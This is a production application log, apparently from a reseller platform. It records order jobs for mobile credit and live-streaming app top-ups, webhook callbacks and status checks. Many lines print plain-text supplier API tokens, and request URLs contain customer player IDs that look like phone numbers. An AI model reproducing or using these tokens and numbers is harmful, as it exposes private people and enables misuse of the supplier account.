[2026-03-24 19:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:55:05] production.INFO: async() رجع: true  
[2026-03-24 19:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:55:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:55:49] production.INFO: SendAcceptReject: Notification queued {"user_id":562,"notification_type":"request_approved","reference_id":18686} 
[2026-03-24 19:55:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 562  
[2026-03-24 19:56:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7MdMxomNn9r7dGCA40IbgaRbOKKl3f5K","execution_time":"2026-03-24 19:56:04"} 
[2026-03-24 19:56:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"7MdMxomNn9r7dGCA40IbgaRbOKKl3f5K","execution_time":"2026-03-24 19:56:04"} 
[2026-03-24 19:56:09] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"request_approved","reference_id":18687} 
[2026-03-24 19:56:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 19:56:20] production.INFO: SendAcceptReject: Notification queued {"user_id":212,"notification_type":"request_approved","reference_id":18688} 
[2026-03-24 19:56:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 19:56:24] production.INFO: Constructing job for order: 179264  
[2026-03-24 19:56:25] production.INFO: Handling job for order: 179264  
[2026-03-24 19:56:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:56:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:56:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=57ab4664-1423-4f54-b987-f2220e8efc4a&Player_ID=0936730772  
[2026-03-24 19:56:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=57ab4664-1423-4f54-b987-f2220e8efc4a&Player_ID=0936730772","has_body":false} 
[2026-03-24 19:56:25] production.INFO: Operation sent successfully {"operation_id":164146,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SsE6KSFT-1774371385","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:56:25"}},"processed_data":{"order_number":"ORD-SsE6KSFT-1774371385","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:56:28] production.INFO: Constructing job for order: 179265  
[2026-03-24 19:56:31] production.INFO: Handling job for order: 179265  
[2026-03-24 19:56:31] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:56:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:56:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=c491cc74-aec2-441c-b4e2-86218ddc3ffb&Player_ID=0936730772  
[2026-03-24 19:56:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=c491cc74-aec2-441c-b4e2-86218ddc3ffb&Player_ID=0936730772","has_body":false} 
[2026-03-24 19:56:32] production.INFO: Operation sent successfully {"operation_id":164147,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tsikaDd-1774371392","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:56:32"}},"processed_data":{"order_number":"ORD-tsikaDd-1774371392","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:57:19] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"600.0","mainamount":"600","operation_number":"158664246","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php88pqsv1tqp172thrFcc"}},"user_id":1131} 
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:57:20] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:57:20] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18689,"user_id":1131,"amount":600.0,"admins_notified":7} 
[2026-03-24 19:57:43] production.INFO: Constructing job for order: 179266  
[2026-03-24 19:57:44] production.INFO: Handling job for order: 179266  
[2026-03-24 19:57:44] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:57:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:57:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e20cea7e-b5c4-4fb0-831f-2f29521a8637&Player_ID=0965238577  
[2026-03-24 19:57:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e20cea7e-b5c4-4fb0-831f-2f29521a8637&Player_ID=0965238577","has_body":false} 
[2026-03-24 19:57:45] production.INFO: Operation sent successfully {"operation_id":164148,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hvG-1774371465","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:57:45"}},"processed_data":{"order_number":"ORD-hvG-1774371465","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03"} 
[2026-03-24 19:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","total_operations":3,"sites_count":1} 
[2026-03-24 19:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","orders_count":3,"order_ids":["ORD-SsE6KSFT-1774371385","ORD-tsikaDd-1774371392","ORD-hvG-1774371465"]} 
[2026-03-24 19:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 19:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 19:58:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 19:58:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"count":3} 
[2026-03-24 19:58:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"count":3} 
[2026-03-24 19:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"user_id":34,"notification_type":"order_approved","reference_id":179266} 
[2026-03-24 19:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"user_id":949,"notification_type":"order_approved","reference_id":179264} 
[2026-03-24 19:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"user_id":949,"notification_type":"order_approved","reference_id":179265} 
[2026-03-24 19:58:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:58:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:58:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"processed":3,"errors":0} 
[2026-03-24 19:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147,"processed":3,"errors":0} 
[2026-03-24 19:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Wr9O4zq0KVZS0bmE2Vsrdjp8bdkRbazz","execution_time":"2026-03-24 19:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tsikaDd-1774371392","operation_id":164147} 
[2026-03-24 19:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 19:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 19:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 19:58:18] production.INFO: Constructing job for order: 179267  
[2026-03-24 19:58:21] production.INFO: Handling job for order: 179267  
[2026-03-24 19:58:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:58:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:58:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=28000&uuid=12123f3b-f702-4eb3-9c30-23d34dc69db2&Player_ID=46656114  
[2026-03-24 19:58:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=28000&uuid=12123f3b-f702-4eb3-9c30-23d34dc69db2&Player_ID=46656114","has_body":false} 
[2026-03-24 19:58:22] production.INFO: Operation sent successfully {"operation_id":164149,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ysTk-1774371502","amount":3.854255999999999904304104347829706966876983642578125,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 19:58:22"}},"processed_data":{"order_number":"ORD-ysTk-1774371502","amount":3.854255999999999904304104347829706966876983642578125,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 19:58:40] production.INFO: SendAcceptReject: Notification queued {"user_id":1131,"notification_type":"request_approved","reference_id":18689} 
[2026-03-24 19:58:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1131  
[2026-03-24 19:58:48] production.INFO: Constructing job for order: 179268  
[2026-03-24 19:58:49] production.INFO: Handling job for order: 179268  
[2026-03-24 19:58:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:58:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:58:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=15000&uuid=28a0c3a2-3054-4a3b-ab73-a8d65bdf75f4&Player_ID=63469088  
[2026-03-24 19:58:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=15000&uuid=28a0c3a2-3054-4a3b-ab73-a8d65bdf75f4&Player_ID=63469088","has_body":false} 
[2026-03-24 19:58:50] production.INFO: Operation sent successfully {"operation_id":164150,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-th0-1774371530","amount":2.06477999999999983771203915239311754703521728515625,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 19:58:50"}},"processed_data":{"order_number":"ORD-th0-1774371530","amount":2.06477999999999983771203915239311754703521728515625,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 19:59:19] production.INFO: Constructing job for order: 179269  
[2026-03-24 19:59:20] production.INFO: Handling job for order: 179269  
[2026-03-24 19:59:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:59:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:59:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=250&uuid=cde2a5f2-f1aa-4e08-b3d8-e37e83730b27&Player_ID=1109077128  
[2026-03-24 19:59:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=250&uuid=cde2a5f2-f1aa-4e08-b3d8-e37e83730b27&Player_ID=1109077128","has_body":false} 
[2026-03-24 19:59:21] production.INFO: Operation sent successfully {"operation_id":164151,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZFwPoI-1774371561","amount":4.36956519999999937198253974202089011669158935546875,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 19:59:21"}},"processed_data":{"order_number":"ORD-ZFwPoI-1774371561","amount":4.36956519999999937198253974202089011669158935546875,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 19:59:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZFwPoI-1774371561","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:59:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZFwPoI-1774371561","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:59:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:59:25] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179269} 
[2026-03-24 19:59:25] production.INFO: Order updated successfully. Order ID: 179269, Status: completed  
[2026-03-24 19:59:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZFwPoI-1774371561","status":"completed","codes_count":0} 
[2026-03-24 19:59:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 19:59:34] production.INFO: Constructing job for order: 179270  
[2026-03-24 19:59:36] production.INFO: Handling job for order: 179270  
[2026-03-24 19:59:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:59:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:59:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=10000&uuid=86a494cb-4cfc-4d6e-a898-1b4643bc2b7c&Player_ID=781362403  
[2026-03-24 19:59:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=10000&uuid=86a494cb-4cfc-4d6e-a898-1b4643bc2b7c&Player_ID=781362403","has_body":false} 
[2026-03-24 19:59:37] production.INFO: Operation sent successfully {"operation_id":164152,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lVScmXvO-1774371576","amount":8.4587400000000005917399903410114347934722900390625,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 19:59:37"}},"processed_data":{"order_number":"ORD-lVScmXvO-1774371576","amount":8.4587400000000005917399903410114347934722900390625,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 20:00:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04"} 
[2026-03-24 20:00:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","total_operations":3,"sites_count":1} 
[2026-03-24 20:00:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-ysTk-1774371502","ORD-th0-1774371530","ORD-lVScmXvO-1774371576"]} 
[2026-03-24 20:00:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lVScmXvO-1774371576","operation_id":164152} 
[2026-03-24 20:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 20:00:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 20:00:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"count":2} 
[2026-03-24 20:00:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"count":2} 
[2026-03-24 20:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"user_id":212,"notification_type":"order_approved","reference_id":179268} 
[2026-03-24 20:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"user_id":212,"notification_type":"order_approved","reference_id":179267} 
[2026-03-24 20:00:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:00:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:00:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"processed":2,"errors":0} 
[2026-03-24 20:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149,"processed":2,"errors":0} 
[2026-03-24 20:00:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cuHsuFYaYWpblpNRJByRITIXVkW0cwWB","execution_time":"2026-03-24 20:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysTk-1774371502","operation_id":164149} 
[2026-03-24 20:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:00:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:00:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ysTk-1774371502","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:00:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-ysTk-1774371502","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:00:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:00:05] production.ERROR: Order not found or already processed. External ID: ORD-ysTk-1774371502  
[2026-03-24 20:00:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ysTk-1774371502","status":"completed","codes_count":0} 
[2026-03-24 20:00:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-th0-1774371530","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:00:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-th0-1774371530","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:00:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:00:05] production.ERROR: Order not found or already processed. External ID: ORD-th0-1774371530  
[2026-03-24 20:00:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-th0-1774371530","status":"completed","codes_count":0} 
[2026-03-24 20:00:06] production.INFO: async() رجع: true  
[2026-03-24 20:00:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:00:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:00:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:00:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:00:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 20:00:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 20:00:08] production.INFO: Constructing job for order: 179271  
[2026-03-24 20:00:11] production.INFO: Handling job for order: 179271  
[2026-03-24 20:00:11] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=4a0d230c-d56a-414d-9cb6-cf0f3ad6a361&Player_ID=0968967007  
[2026-03-24 20:00:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=4a0d230c-d56a-414d-9cb6-cf0f3ad6a361&Player_ID=0968967007","has_body":false} 
[2026-03-24 20:00:12] production.INFO: Operation sent successfully {"operation_id":164153,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bJrlA3d7-1774371612","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:12"}},"processed_data":{"order_number":"ORD-bJrlA3d7-1774371612","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:12] production.INFO: Constructing job for order: 179272  
[2026-03-24 20:00:15] production.INFO: Handling job for order: 179272  
[2026-03-24 20:00:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:00:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=bdfcd900-b4cb-43d2-a4b2-bda8bfb5be8e&Player_ID=4631414  
